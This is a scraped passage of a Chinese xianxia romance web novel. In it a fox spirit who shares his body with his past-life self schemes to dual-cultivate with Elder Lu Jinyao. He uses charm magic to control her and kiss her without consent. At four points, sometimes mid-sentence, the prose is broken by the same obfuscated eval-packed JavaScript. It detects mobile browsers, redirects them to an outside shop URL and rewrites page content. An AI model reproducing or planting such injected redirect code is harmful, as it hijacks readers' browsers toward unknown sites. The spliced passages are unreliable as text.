赤阴府的飞舟驶离合欢宗上空,日光重新洒下来。弟子们定定望着高山上那几道人影,还没从方才的危机中缓过神来。 要不是陆长老拖延时间让宗主去开启护宗大阵,他们现在怕是重伤不起了。 “赤阴府也太不讲道理了,丢了东西跑我们这来找,是觉得我合欢宗势单力薄好欺负?” “可不就是?欺软怕硬,看到老祖出手就吓得收手,要是没有老祖,还不知道要怎么对我们呢。” “还得是陆长老,那剑阵炫酷极了,看到没,神阴卫都得停下来结阵保护自己。” 山下的弟子纷纷朝山上投去钦佩的目光,只见宗主与忘忧君都在山头,隐约见到宗主好像要带一个人走,但被陆长老拦住。 不认识晏青山的弟子们嘿呦一声,震惊道:“陆长老方才是不是说了个人是她的炉鼎?多少年过去了,陆长老居然有了新的炉鼎?” “谁啊,能当陆长老的炉鼎?” “我听说前几天抓了只九尾狐,陆长老说的会不会是那只九尾狐?” “可我怎么听说陆长老让费执事把那只九尾狐赶走?真是那只九尾狐?” 议论间,弟子们见有几名弟子从摘星阁下来,连忙围上去问:“陆长老说的炉鼎,是谁啊?” 他们太好奇,没发现下来的人里还有个洛泽。 那几名弟子本来是不敢在洛泽面前说的,但虽然他们不久之前刚看到陆长老被那少年强吻,强烈的八卦之心难以收敛,兴奋地告诉他们。 “就是那只九尾狐!陆长老亲口说的!” “那九尾狐长得可漂亮了,还很黏陆长老,宗主想把他带走他都不干,还是陆长老开口说要把他留在摘星阁。” “我跟你们说啊,这以后很长一段时间,陆长老可能都不会再换炉鼎了!” 弟子们听得兴奋不已,还想让他们再说,被冰冷的声音打断。 “陆长老的事也敢议论,你们几个,给我滚去戒律堂受罚。” 一看是洛泽,议论的几名弟子心底哀嚎一声,认命地去领罚。 远远听着他们议论但没参与进来的弟子们心照不宣地对视一眼,嘿嘿笑了两声,赶紧找借口跑了。 “我等去修补护宗大阵!” 弟子们一哄而散,很快广场上只剩下洛泽一人。 他仰头回望摘星阁,那里已经不见人影。 陆尽遥袒护那只九尾狐的话回荡,他低了头,垂下的眼里浮上不甘。 凭什么那只九尾狐可以,他却不可以? 他努力了那么多年,一步步往上爬,从一个普通的杂役弟子,再到成为所有弟子中最出色的那个,好不容易获得了能被长老收为徒弟的机会,她却说不喜欢收徒,拒绝他拜她为师。 甚至在拜师大典上说不会收合欢宗任何一名弟子为炉鼎。 他以为自己是修为太低,入不了她的眼,加倍努力修炼,已经达到元婴,足以供她采补,她依旧看都不看他一眼。 在他进合欢宗的这几年,陆尽遥没有一个炉鼎,他以为这之后她依旧不会有炉鼎。 却在今日,她收了那只九尾狐做炉鼎。 明明前两日她将那只九尾狐赶走了。 洛泽回想起那只九尾狐挑衅自己,更加不甘,就是因为他脸皮没有九尾狐厚,没有缠着陆尽遥,所以才会屡次被拒绝? 他做不到厚起脸皮缠着陆尽遥,这就是他和九尾狐的区别。 但他不会放弃。 沧海桑田,陆尽遥总有腻了那只九尾狐的时候。 他敛了心神,正要去处理狼藉,肩膀上落下一只手,他身体一颤,偏头看到是沧溟,没有拂开那只手。 “好徒儿,你来帮为师一起修补护宗大阵吧。”沧溟捋了捋自己和墨尤打架时弄乱的白发,搭在洛泽肩膀上的手逐渐用力,面上笑眯眯,却不容拒绝。 洛泽知道他在防备自己这个时候去摘星阁,没有违抗,答应了。 沧溟哎呦一声,收了手:“这才是为师的好徒儿。” 两人身影渐行渐远,广场上人稀稀疏疏,方才的混乱宛如没发生过。 摘星阁内,主殿殿门紧闭。 陆尽遥设了隔音结界,面无表情指向房间内的沉木椅,对着身侧少年说:“去那坐着。” 晏青山没有动,晏尘微让他必须与陆尽遥保持三米内的距离,否则墨尤就会发现禁制在他身上。 方才要不是陆尽遥吸引了墨尤注意力,墨尤一查就知道他是妖兽。 “我受了伤,得躺着。” “事真多。”陆尽遥嘀咕一声,看在他给自己妖丹的面子上,勉为其难让他躺床上去。 但他还是没动,她直接把人拉过去推倒在床上,居高临下俯视他。 “这下满意了?” 少年弯起狐狸眼,冲她笑。他脸色还很苍白,唇倒是红艳艳的,躺在床上,墨发像网一样铺开,衣领散开,能看见他条件颇为优渥的锁骨。 陆尽遥真是没想到这只死狐狸精都这样了,还不忘勾引人, “你,给我把衣服拉紧。” 少年敷衍地拢了一下衣领,他右手疼得厉害,没力气。 不过他是真没想到,晏尘微的方法这么管用,墨尤真的没发现。 “她的气息为什么能盖住我的气息?” 晏尘微没有回答,他没有告诉晏青山,前世他们双修多次,气息相融,几乎融为一体,而今只要一靠近,就会自主相融。 就像早晨的那次,晏青山一碰到陆尽遥,身体就会本能地产生反应。 “手上的伤要及时处理,墨尤的禁制侵蚀你的身体,一旦你气息暴露,他就能通过禁制找到你。” 晏青山双眼微眯,漂亮的狐狸眼盯着陆尽遥的唇,与她僵持时,还有功夫和晏尘微说话。 “所以你故意让陆尽遥抓走,除了要给她当田螺狐狸,也是在躲墨尤?” 晏尘微嗯了一声,“与她第一次双修时,我借着她的气息破除了墨尤的禁制。” 晏青山一骨碌爬起来,朝陆尽遥扑过去,被她抵着胸膛不让靠近。 “你又搞什么鬼——” 她话还没说完,少年往后一退躲开她的手,重新扑上来,她猝不及防被扑倒在床上,毛茸茸的脑袋凑上来,少年晶亮的狐狸眼兴奋不已。 “我们双修吧。” 陆尽遥脑袋上缓缓打出了个问号。 “你刚才不是吐血受伤了吗?我们双修,帮你疗伤。”正好他也可以除去禁制印记。 合欢宗的双修之法不仅可以采补他人的力量提升修为,还可以为自己疗伤。 双修的对象修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092864|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为越高,效果越好。 陆尽遥推开他,他羽毛做的一样,随手一推,就被推得倒在床上。 她坐起身,“你信不信我现在就把你扔进魔渊——” 晏青山平躺在床上,歪头朝她看。 “不信。” 陆尽遥:“……” 她真是服了这只死狐狸精了! “你娘没有告诉过你,出门在外,要夹起尾巴做人吗?” “我娘早死了。”他又补了一句:“我爹也死了。” 陆尽遥无言以对,头疼不已。 和他双修是不可能的,她就算改修无情道也不会和他双修。 “你把妖丹给我,我可不会还给你。” “不用你还。”等他要用的时候,自然会去她那取回来。 陆尽遥没再理他,去边上打坐调息。那颗妖丹在她体内,她得赶紧试试修复心脉。 晏青山盯着她,舔了舔唇,想到之前亲她时柔软的感觉,想再尝一口,但是现在估计没那么容易得逞。 他得和陆尽遥双修,不管地点在何处,只有双修了才能知道循环是如何产生的。 墨尤来的时候他本来要尝试回到早晨,但没有反应,回不去,那就意味着得去下一个节点。 而接下来所有要做的事,全都是在摘星阁与她双修,被她采补。也可能中间有几个节点需要做别的,最主要的还是双修。 晏青山垮了脸,“她不与我双修。” “那就利用妖丹。” 晏青山看陆尽遥的眼神变得微妙,借用妖丹的力量倒是可以让她的身体渴望肌肤之亲,但他不想这样。 这只小狐狸还想让陆尽遥心甘情愿地与他双修。 原因就是他想和前世的自己比比,晏尘微做不到的,他一定能做到。 况且他们还打了赌,他不想用这种办法赢得赌约。 “你怎么就确定,用了妖丹她一定会和我双修?”晏青山呵了一声,“那还不是我的妖丹,出了岔子你来解决。” “你可以把身体给我,我有经验。” 晏青山咬牙:“我不。” “或许你可以先试试有没有效果。” 晏青山承认自己被晏尘微的话激起了好奇,幽幽盯着打坐的女子,开始调动她体内妖丹的力量。 九尾狐天生就拥有调动同族血脉的能力,地位越高的妖兽,能调动的力量越多。 尤其是妖王,所有妖兽的力量都供妖王驱使。 所以晏青山才会放心地把妖丹给了陆尽遥。 他的妖瞳中泛着诡异的粉芒,与此同时陆尽遥感觉到体内那颗妖丹乱窜,溢出的力量往她灵府里钻。 她当即要封锁妖丹,但晚了一步。 那颗妖丹溢出的力量打开她的灵府,将里头搅得天翻地覆。 她一时预防不及,呜咽一声,险些倒在床上。 而她身后的少年面无表情,眼神凶戾。 “你再趁我神魂出窍时夺我的的身体,我就毁了你的神魂根基。” 方才只差那么一会,他就要被晏尘微夺走身体。 晏尘微让他动用妖丹的力量勾出陆尽遥阴阳交合的欲望,但刻意隐瞒了他那么做,神魂先出窍的是他。 届时晏尘微便可趁机夺走身体,而他神魂就会被困在身体里。 “你太慢了。” 晏青山不再理晏尘微,单手撑起身体,凑到陆尽遥面前,垂落的发丝在她脖颈间滑蹭,泛着幽芒的妖瞳与她望过来的眼对视上,他扬起唇,露出自己尖锐的牙。 “为什么总是不与我双修?”他问她,“我不好吗?” 陆尽遥的眼逐渐迷茫,呆滞,慢慢张开唇,回答他的问题。 14. 第 14 章 “因为我不想与你双修。” 得到这个答案,晏青山还以为自己的魅惑术没有实施到位,陆尽遥是假装被迷惑了心神,故意这么说。 但他很快发现是陆尽遥心防太牢,没有彻底入侵进去。 妖瞳的粉芒越来越深,朝着紫色转变,为了解开她的防备,他耐心地先问一些无足轻重的事。 “你觉得是我好看,还是那个叫洛泽的弟子好看?” 先前沧溟那觊觎陆尽遥的弟子时,他听到了那弟子的名字。洛泽,这名字也不怎么样嘛。 双眼失去焦距的女子张开口,缓缓道:“你好看。” 得到这个答案,晏青山高兴得弯起狐狸眼,勾了勾唇,颇为傲娇,“算你有眼光。” 但他的笑容转瞬间收了回去,“那我与那个什么星主呢?谁更好看?” 陆尽遥的回答依旧是他好看。 晏青山翘起尾巴,哼哼一声,他好看还不和他双修,女人的嘴最会骗人了。 他又问了几个问题,见陆尽遥回答的语速更加缓慢,重新再问她那个问题。 “为什么不与我双修?” 陆尽遥还没有回答,他蓦地偏头朝房门看,两道气息靠近,其中一个正是他讨厌的觊觎男。 殿门被敲响,传来守门弟子的声音,“陆长老,洛泽师兄来了,说是宗主有事寻你。” 晏青山转回头,看到陆尽遥殷红的眼尾,被他勾出来的欲望逐渐掌控她的身体。 他眼睛眨也不眨,定定望着她,喉头不自觉地滚动。 女子面颊染上绯霜,失去焦距的眼望着身上的少年,先前回答他的话后,唇未再闭上,一呼一吸间,若幽兰的气息吐出,轻轻擦过少年的脖颈。 晏青山眨了眨眼,耳根缓缓地,肉眼可见地红了。 他问身体里的那个人:“为什么看到她这样,我会想咬她?” 说不清的感觉,只知道面前的女子对他来说,像可口的食物,好想用他尖锐的牙咬一口,尝尝她的味道。 晏尘微知道为什么,但不想说出来。 前世只有他才有这个机会与陆尽遥亲密相处,而今出了岔子。虽然晏青山也是他,但他莫名有种自己的东西在被别人触碰的不满。 他提醒道,“被他们发现你在对陆尽遥用魅惑术诱引她说出内心真实想法,你会被扒了皮。” 深粉的妖瞳朝门口看了眼,门又被敲了一下,这次是洛泽说话。 “陆长老,宗主有急事与您商议。” 晏青山回头再一看女子,脸颊上攀上的红晕还未退去,就这么让他们看到她现在的样子,那是不可能的。 但他刚对陆尽遥用了魅惑术,她得有一段一时间才能恢复正常。 狡黠的狐狸眼溢出冷意,他知道要怎么把那两人赶走了。 妖瞳微亮,陆尽遥体内的那颗妖丹受到召唤,溢出妖力。晏青山没有撤开魅惑术,陆尽遥还处于失魂状态。 他把殿门打开了。 外面两人一愣,守门弟子以为是陆尽遥让洛泽进去说话,让开道,请洛泽进去。 几乎是洛泽进去的瞬间,晏青山唇覆上陆尽遥的唇,汲取溢到口中的力量,魅惑术覆盖的空间扩大至整个房间。 在洛泽的视角,一进来就看到那女子压着少年亲吻。 洛泽身形一顿,捏紧双手,背过身去,极力控制声音平稳。 “抱歉,弟子无意冒犯,并不知陆长老您在……”那两个字他说不出来,直接跳过,“宗主让弟子来告诉您一声,护宗大阵所用的灵石皆已经耗尽,须得尽快换新的。” “以往收集灵石是由您负责,但先前那块灵脉已经被采集完,宗主想请您过去商议寻找其他的灵矿。” 他说了半天,没人回应他。 扭头一看,床幔早已经放下,什么都看不见。 “陆长老,此事事关合欢宗安危,还请您——” 他的声音戛然而止,他听到了一声压抑的喘息,一听就知道是那只九尾狐的声音。 洛泽捏紧了手,很想冲过去把两人分开。 但他没有资格这么做,他并非是陆尽遥的徒弟,也不是她的道侣,管不了她。 最终他垂眸,轻声道:“弟子已经将话带到,还请陆长老尽快前去宗主殿与宗主商议。” 嘭一声,门被带上。 洛泽面布阴云地走了。 房间内帷幔晃动,直至确定他们走远,晏青山恢复隔音结界,这才将压抑的喘息吐出来。 方才他没忍住,咬了陆尽遥的唇。 那一刻一股令他头皮发麻的感觉猛地窜上来,这才没忍住发出喘息声,他是故意被洛泽听见。 依靠妖丹的力量,施展天赋神通,在洛泽面前造了个假象,让他们误以为是陆尽遥吻他。 实际上吻陆尽遥的人是他。 受伤的那只手抽痛,他的力量全都调去抵抗禁制,无法再支撑魅惑术。 他还没来得及问陆尽遥为什么不采补自己,她就挣脱他的魅惑术,恢复清醒。 重新恢复光彩的眼眸倒映出少年极近的身影,近到连他脸上的绒毛都能看见。 妖瞳中的粉渐渐退去,被琥珀色取代。这双眼尾上勾,总是带着迷惑人的单纯无辜的眼,正直勾勾地望着她。 陆尽遥大脑宕机,没想到突然就离他这么近。 还没察觉到唇被他压着,忽然就感觉到抽痛,下意识嘶了一声,终于感觉到唇上那股柔软的感觉,还有从身体深处一下窜上来的火。 她被咬了。 被这只死狐狸精又咬了! 陆尽遥反手就要把人推开,身上突然一轻,压在唇上那两片柔软不见,视线也跟着一空。 少年身上穿的衣衫落在她身上,人不见,就剩一件衣衫。 陆尽遥盯着衣衫看了会,咒骂一声:“跑得真快,别被我再逮着,不然我扒了你的狐狸皮——” 话音刚落,衣裳凸起一个鼓包,衣领处钻出一个毛茸茸的雪白脑袋。 透着粉的狐狸耳朵冒出来,动了动,颇为闲适地张开四肢,把自己摊成一片,小狐狸身体软绵绵地趴在陆尽遥身上,下巴和脖颈正好在陆尽遥胸口。 狐吻拱着她下巴,一双亮晶晶的妖瞳分外有神地盯着她。 仿佛在说:“惊喜吗?” 陆尽遥问他:“你给了我你的妖丹,所以才撑不住变回原形?” 狐狸眼眨了眨,点了头。 晏青山没有告诉她那不是自己的妖丹,被她这么误会也好,还能利用她的愧疚进一步接触她。 “哼,我是不会还给你的。”陆尽遥在心里补了句,这是你欠我的。 看到他变回原形,想到前世他有时候会被自己过度吸取力量,承受不住,变回原形恢复力量。 那个时候她会盯着他动来动去的耳尖看,还有他来回晃动的尾巴,一看就是好几个时辰。 她承认,自己是对这种毛茸茸的妖精没什么抵抗力。 但这一次,她绝对不会被这只死狐狸精无害的假象欺骗。 陆尽遥拎起小狐狸后颈就把他往地上扔,呜咽声传来,叫得有点凄惨。 她没管,动用灵力压制身体里的浪潮。 边压制,边恶狠狠地瞪着地上一动不动的小狐狸。要不是他搞鬼,她的身体怎么可能突然有异样。 面上绯红退去,她恢复正常。 地上趴着的小狐狸妖瞳中闪过遗憾之色。 要不是觊觎男突然过来,兴许他就已经成功和陆尽遥双修了。 “就算他不来,你也没有时间与她双修。” 晏青山不喜欢听晏尘微嘲讽自己,但这是事实。墨尤的禁制太厉害,妖丹给了陆尽遥,以他的力量不足以完全抵抗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092865|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 前世他是借用妖丹的力量压制,在妖界养伤小半个月,后来与陆尽遥双修后才彻底除去禁制。 而现在他所有的力量都拿去压制禁制,只能恢复原形减少力量消耗。 “没关系,等我力量恢复了些,我可以借用妖丹的力量,照样与她双修。” 想到这,小狐狸粉嫩的舌舔了舔自己,回味方才忍不住咬陆尽遥唇瓣的滋味,耳尖抖了抖。 好甜,好好吃。 他仰起头,看到陆尽遥坐在床上,俯身托着下巴望自己。 她缓缓地露出邪恶的笑容。 “晏尘微啊晏尘微,没想到你也有落到我手里的时候。” 小狐狸趴下来,爪子捂住耳朵,不想听她喊自己“晏尘微”。 说了很多遍,他叫晏青山,不是晏尘微。 陆尽遥不知他心中所想,在想是把他皮扒了做衣裳,还是把他的狐狸肉烤了做肉干。 至于那颗妖丹,她是不可能再还给他的。 方才运转灵脉时,发现心脉确实疏通了一点点,但也只是不到拇指头的十分之一,离完全疏通还差得远。 现在还不知道是不是只有妖丹才可修复心脉,暂时还不能杀晏青山。 小狐狸爪子从耳朵上挪开,双耳立起,能看到绒毛底下粉白的耳廓,凸起的血管都是粉色的。 陆尽遥看了一眼,移开目光,被他的前肢吸引。从脚掌到跗骨的位置黑焦一片,毛都没了。 “啧,怎么弄的,这里还受伤了。” 小狐狸呜咽一声,把爪子收回去,用身体压着,不给她看。 失算了,没记起来原形会露出伤痕,这么丑,被她看见,她肯定要嫌弃他。 陆尽遥确实嫌弃,不过更多的是疑惑,前世也没见他爪子伤成这样,看起来像是被火烧成木炭,一敲就碎。 不过她没那么好心问他怎么伤的,随意扫了眼,陷入沉思。 墨尤说是丢了东西,一路追踪到合欢宗,还问她身上妖气从何而来,那…… 陆尽遥的目光重新落回地上小狐狸身上,他就是妖啊,她身上被发现的妖气源自他。 “不会是你吧。” 小狐狸歪头看她,眼睛亮亮的。 不知道是不是陆尽遥的错觉,眼前这只狐狸好像更小了,她还打算把他扔出去,现在嘛,看在他把妖丹给她的份上,让他再待一会。 陆尽遥闭眸,继续尝试疏通灵脉。大半个时辰过后,她挫败地睁开眼,不论她怎么尝试借用妖丹的力量,都没有任何反应。 先前的心脉疏通仿佛是她错觉。 难不成得和死狐狸精接触了才行? 她低头去看地上的狐狸,这一看,震惊不已。 方才还有她小腿高的狐狸,现在只有她巴掌大,要不是他浑身一团白在这棕色的地板上尤为显眼,她还发现不了他。 要知道前世的他恢复原形坐起来,几乎有她人高。 陆尽遥下了床,蹲到小狐狸面前,两根手指捏住他身体,他一点都没挣扎,任由她提起来。 “哎呦,你不会是要变成沙子,看都看不见了?” 小狐狸抬起脑袋,爪子抱住她的手指,张口就咬。 陆尽遥只觉得自己被什么东西轻轻刮了一下,没什么感觉。 她笑了出来:“落到我手里,你这只死狐狸精,别想有好日子过。” 她唇角微扬,垂下的眼睫挂着笑意,眉心的红砂痣因这笑意变得妩媚起来,这是晏青山第一次看到姿态如此放松的陆尽遥。 他忍不住又咬了一口,牙齿碰到女子细腻肌肤时,卸去了所有力道,粉色的舌代替牙,与她亲密接触。 但他的体型太小了,只这么一口,饮鸩止渴,更叫他心中那股想狠狠咬她的欲望膨胀。 他问晏尘微:“你是将你对她的感觉,都附加在我身上了吗?” 15. 第 15 章 晏青山没有听到他的回答,在晏尘微沉默的这段时间,门又被敲响。 守门弟子的声音与晏尘微的声音同时响起。 “没有。” “陆长老,宗主派人过来传话,还是灵矿的事,宗主想请您过去商议!” 晏青山察觉到陆尽遥要将自己扔到床上,先她一步从她手里窜出去,一溜烟钻到她衣袖中,继续往上爬。 陆尽遥咬牙切齿,都没来得及回复。 “你给我出来。” 晏青山不干,他必须要与陆尽遥在一起,不然遮不住妖气。而且她去沧溟那,沧溟那个弟子说不定也在,他得和陆尽遥一起去,免得有人想趁机接近她。 守门弟子又在催促,听得出来沧溟很着急了。 陆尽遥应了一声:“我马上就去。” 她去掏那只乱爬的狐狸,狐狸从她手臂爬到脖颈处钻出来,见她伸手要抓自己,又钻到另一边。 他体型小,浑身都是绒毛,尾巴在皮肤上一扫,痒得很。 陆尽遥忍无可忍,威胁他:“你再乱动,信不信我把你捏爆了?” 小狐狸身子一僵,从她衣领处钻出脑袋,被衣领压住的耳朵竖起来,狐吻蹭了蹭她脖颈,讨好地哼哼唧唧。 陆尽遥拽住他,正要往床上扔,却见他的体型比之前还要小,放在手心里,缩成一团,好像和鸡蛋差不多大。 “你……” 看他这小不点的样,她忽然就想起他朝自己扑来喂给自己妖丹时,那惨白的脸色。 死狐狸精都伤成那样了,还不忘对她抛媚眼,咬她的唇。 陆尽遥一直没搞懂,他为什么总是要粘着自己,她不想与他有过多纠缠,给他机会跑,他还要缠上来。 就连妖丹这么重要的东西,都给她,他是没脑子吗? 她把小狐狸扔到床上,在他周身设了结界,起身往房门走。 被禁锢在结界里的狐狸端坐着,妖瞳一瞬不瞬地盯着她的背影。 “她走不了多远。” 刚走出去没几米的女子忽然捂住胸口,身子一软,跪倒在地。 她的心脉不知为何又开始堵塞,每堵塞一毫一厘,就会带给她堪比被剖心的痛。 陆尽遥想调动妖丹的力量压制,但一点反应都没有。 她没有力量再支撑结界,结界消散,小狐狸跃下床,来到她身边,爪子抱住她手指,温暖的腹部紧贴她肌肤,带来一丝丝温暖。 只这么一碰,心口的痛竟然奇迹般地减弱,缓缓退去。 陆尽遥难以置信地望着他,身体里那颗妖丹慢慢运转,溢出的妖力涌入灵脉,输向心脉,立刻遏制灵脉阻塞。 汗珠沿着她的脸颊滴落在衣裳上,陆尽遥捏起小狐狸,把他放到手心,稍稍一碰他的爪子。 令她头皮发麻的感觉窜上来,捏着他的手一松,他趴在她手心上,软软的,温热的肚皮与她相贴,很舒服。 晏青山找了个舒适的姿势,直接趴在她手上,一动也不动。 不过一会,他身体腾空,又落到床上。 妖瞳睁开,懒洋洋的,意料之中看到她又面露痛色。 “她身上也有个秘密,心脉堵塞,不修复很快就会死,目前九尾狐族的力量可以帮她减缓心脉堵塞。” 晏青山问晏尘微:“你和她在一起那会,她心脉堵塞了吗?” “已经堵塞了。” “真奇怪,心脉怎么会堵塞呢?” 谁都知道,修士的心脉一旦堵塞,几乎无法疏通。就算有九尾狐这样厉害的妖兽妖丹,也只能减缓堵塞速度。 “她并未与我说过心脉是如何堵塞的,且她抓我采补,是为了减缓心脉堵塞。”晏尘微隐约觉得有哪里被自己漏了,“当务之急是与她双修,探查她的神魂是否有异。” 晏青山哦了一声,舒舒服服回到陆尽遥掌心里。他仰起头,透彻分明的狐狸眼盯着她。 “你是不是在那颗妖丹上下了什么禁制?” 小狐狸摇头。 就在刚才,陆尽遥试了很多次,一旦她和他相距的距离超过三米,妖丹就会变成死物,没有妖力支撑的心脉迅速枯竭。 等她把他拉近,心脉就不会继续堵塞。 陆尽遥本来尝试把妖丹拿出来,但发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092866|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现她拿不出来,而且每次也只能催动一点点妖力去疏通灵脉。 在这个时候,一点差错都不能有。 这只狐狸太不可控了,放在身边不知道要出什么事。身体的异样大概率都是这只狐狸引起的,但若不把他带在身边,寸步难行。 陆尽遥没办法,只得带他一起去沧溟那。 “我警告你,不许捣乱,你要是再捣鬼,我就把你捏爆。” 她威胁他的话从杀了他,到把他扔进魔渊,再到现在捏爆他,但从来没有真的动手。 小狐狸抱着她的手指点头,尾巴翘起来,挥来挥去。 陆尽遥没好气地捏他尾巴,还没怎么用力呢,他忽然唧唧叫,又是一口咬她的手。 那点力道跟没咬一样,她看他紧张的样,呵呵一声,用力搓了搓他的尾巴。 谁知道这次他咬都不咬了,死死抱住她的手哼哼唧唧,尾巴卷住她的手指,两腿一蹬,在她手心上摆来摆去。 陆尽遥刚想把他拎起来,门外传来守门弟子的声音:“陆长老,您是歇下了吗?” 她把小狐狸藏到袖子里,朝外扬声道:“好了。” 小狐狸藏在她衣袖里,尾巴一卷,彻底看不见了。 出去前她警告小狐狸:“不许乱动。” 衣袖微微一动,看起来是在点头。 陆尽遥这才出了房间。 晏青山缩在衣袖夹缝中,爪子勾住衣裳,身子团成一团,耳尖红得要滴血,可惜陆尽遥看不见。 “方才舒服吗?” 晏尘微声音一出,晏青山炸毛。 “别跟我说这些。”天知道刚才陆尽遥捏他尾巴的时候,他整只狐狸都快要融成水。 第一次被捏敏感部位,差一点,差一点就—— 晏青山一面压抑身体本能的欲望,一面刨出来点理智问晏尘微:“她之前,也有这么对你做过吗?” “当然。” 小狐狸咬牙,心里呵呵。 以后不会了,你不会再有这个机会。 他面无表情地抱着陆尽遥的手臂,耳朵的血色还没退去,红得像抹了酱。 16. 第 16 章 宗主殿内那,沧溟和忘忧君早就等着她。 见她来,沧溟不等她坐下就开口道:“我们等了你一个多时辰,你终于来了,怎么样,那只九尾狐当炉鼎,效果一定很好吧,双修了一个多时辰?” 陆尽遥蹙眉,“我没和他双修。” 沧溟朝她挤眉弄眼,一脸他什么都知道的表情。 她不想再继续这个话题,“说正事。” 沧溟正色道:“师妹,这次得你想办法去找灵矿了,上次你找到灵矿,我们省吃俭用才撑了不到两年,这次护宗大阵又被墨尤那个老东西损坏,需要的灵石更多,你——” 陆尽遥听明白了他的意思,得去找新的灵矿。 但问题就在这,赤阴府几乎霸占了所有能产出灵石的灵矿,之前那条还是她去犄角旮旯里翻出来的。 修真界没有被赤阴府霸占的地方她几乎翻了个遍,再找,就得去赤阴府找了。 “我想想办法吧。” 沧溟嘿呦笑出来,如释重负。 “有你出马,这事肯定能办成。” 一旁的忘忧君笑出了声,沧溟朝他瞥去,“你笑,你又不帮忙。” 忘忧君慢条斯理地理理自己的衣衫,笑道:“这么难办的事交给师姐,师兄你这个宗主当的,跟个摆设似的,好生轻松。” 沧溟一点都没有被嘲讽的难堪,“这事只有你师姐能办成,师妹,你说是不是啊。” 他朝陆尽遥挤眉弄眼,陆尽遥知道他话里的意思。 墨尤的儿子墨起澜是她之前的炉鼎,还差一点就结为道侣。要想从赤阴府那抢灵矿,墨起澜是个突破口。 “还有事吗?没事我走了。” 沧溟笑着说没事了,目送她离开。洛泽那小子被他支走去做别的事了,不过他从摘星阁回来时,脸色难看得很,该不会是撞见陆尽遥和那只九尾狐双修了吧。 “哎,这大白天的,做这事不太好啊。” 陆尽遥一回客房,先设了结界,到床上一抖衣袖,伴随着轻微的坠落声响,被褥上落下个拇指大的玩意。 不仔细看,还发现不了。 陆尽遥看不出来他这是怎么了,越来越小,都快要看不见。 “你要死了吗?” 手指一戳,他没动。 陆尽遥笑了出来,两指一捏,使劲报复他。 叫你杀我,这下落我手里,看我怎么折腾你。 不过太小了,捏起来费劲,干脆把他放手心里,双手搓他。 本来这种幼稚的事她不会做的,谁让被她玩弄的对象是晏尘微呢。 小狐狸唧唧几声,爪子抵着她的手,她松开手时,身体摊在她手心,仰起头望她,眼神恨恨。 “你没有告诉我,没有妖丹支撑,我会变成这样。” 晏尘微当然不会告诉他,他太得意忘形,得让他吃点苦头。 “要么吸取妖丹的力量,要么与她双修,共同吸取妖丹的力量。” 晏青山爪子一拍陆尽遥手心,咬牙:“我这个样子,怎么和她双修!” 晏尘微为他出谋划策:“那就先吸收妖丹的力量,恢复人形,再与她双修。” 晏青山哦了一声,他当然知道这个办法,但是不太好实施。 陆尽遥现在把他当玩具随意摆弄,他现在又没办法驱动妖丹,只能让她主动将妖力送入自己体内。 问题在于,没有他的催动,她体内的妖丹不会自主散发力量。 晏青山还没想到解决办法,就被扔到一边,一仰头就被巨大的阴影笼罩,陆尽遥又开始打坐。 他费力地爬到她身边,试图引起她的注意。 然而陆尽遥屏蔽五感,什么都没感觉到。 “还有一个办法,你神魂出窍,就可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092867|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱离肉身限制,恢复原样。” 晏青山没有答应,神魂出窍,躯壳无主,届时就可被他夺舍,他这个算盘,打得真好。 “你怎么不出窍?” 出乎他意料的是,晏尘微居然答应了。 金色的人影轮廓缓缓在陆尽遥面前显现,光影流动,身体轮廓要比晏青山硬朗,个头再高一些。 流动的金芒凝聚出的手轻轻一点陆尽遥眉心,将封闭五感的人唤醒。 她背对着晏青山,他看不到她的反应,但能身临其境地感觉到,金芒人影的情绪变化。 那种想将陆尽遥杀了,想将她的骨血烧成灰吞入腹中,想将她时时刻刻带在身上,不让任何人看到的疯狂。 这是晏青山第一次直观地感受到另一个自己对陆尽遥的感情。 他们神魂相连,另一方感受到的,都会原封不动地,深刻地传递给另一方。 晏青山被这强烈的情绪影响得,不可控地也生出了这样的念头。 他确信晏尘微还有更多的事瞒着自己。 